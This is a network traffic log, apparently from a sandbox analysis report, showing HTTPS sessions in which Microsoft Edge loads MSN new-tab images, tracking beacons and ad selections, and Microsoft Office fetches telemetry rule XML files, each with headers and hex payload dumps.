2024-11-26 09:09:35 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=319572 Expires: Sat, 30 Nov 2024 01:55:47 GMT Date: Tue, 26 Nov 2024 09:09:35 GMT Connection: close
2024-11-26 09:09:35 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49852	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:35 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=205419 Expires: Thu, 28 Nov 2024 18:13:14 GMT Date: Tue, 26 Nov 2024 09:09:35 GMT Connection: close
2024-11-26 09:09:35 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49850	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:35 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=404359 Expires: Sun, 01 Dec 2024 01:28:54 GMT Date: Tue, 26 Nov 2024 09:09:35 GMT Connection: close
2024-11-26 09:09:35 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49851	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:35 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=302811 Expires: Fri, 29 Nov 2024 21:16:26 GMT Date: Tue, 26 Nov 2024 09:09:35 GMT Connection: close
2024-11-26 09:09:35 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49854	108.139.47.50	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	1012	OUT	GET /b2?rn=1732612172319&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=110737551C0664D7127822161D1F6521&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1728748b79b691e169d3a781732612173; XID=1728748b79b691e169d3a781732612173
2024-11-26 09:09:35 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 26 Nov 2024 09:09:35 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b5c1f99a1985819c0c422c9ce2cc03fc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: nnh7q2sjK4BnGhCwrd7Ku3sGypoYEXYwBF4xZiHk9ofLNAQaSEszFQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090935Z-174f7845968psccphC1EWRuz9s0000000vdg000000006s37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090935Z-174f7845968v75bwhC1EWRuqen0000000g5g000000004f6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090935Z-174f7845968j6t2phC1EWRcfe80000000veg000000001hhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:36 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090936Z-174f7845968cdxdrhC1EWRg0en0000000v1g00000000d0ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090936Z-174f7845968jrjrxhC1EWRmmrs0000000vbg000000004q16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49865	23.96.180.189	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:37 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=110737551C0664D7127822161D1F6521&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d4aee74813424acab6491cc71756e5ce HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=110737551C0664D7127822161D1F6521; _EDGE_S=F=1&SID=1A43FC4C6E85641A0FE4E90F6F6A6501; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 09:09:37 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2631 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P426019718-T700376466-C128000000002387609+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002387609+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 09:09:37 GMT Connection: close
2024-11-26 09:09:37 UTC	2631	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 72 6f 70 69 63 61 6c 20 69 73 6c 61 6e 64 c2 a0 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 69 6d 61 67 65 73 5c 2f 73 65 61 72 63 68 3f 71 3d 54 72 6f 70 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Tropical island\",\"cta\":\"https:\/\/www.bing.com\/images\/search?q=Tropi

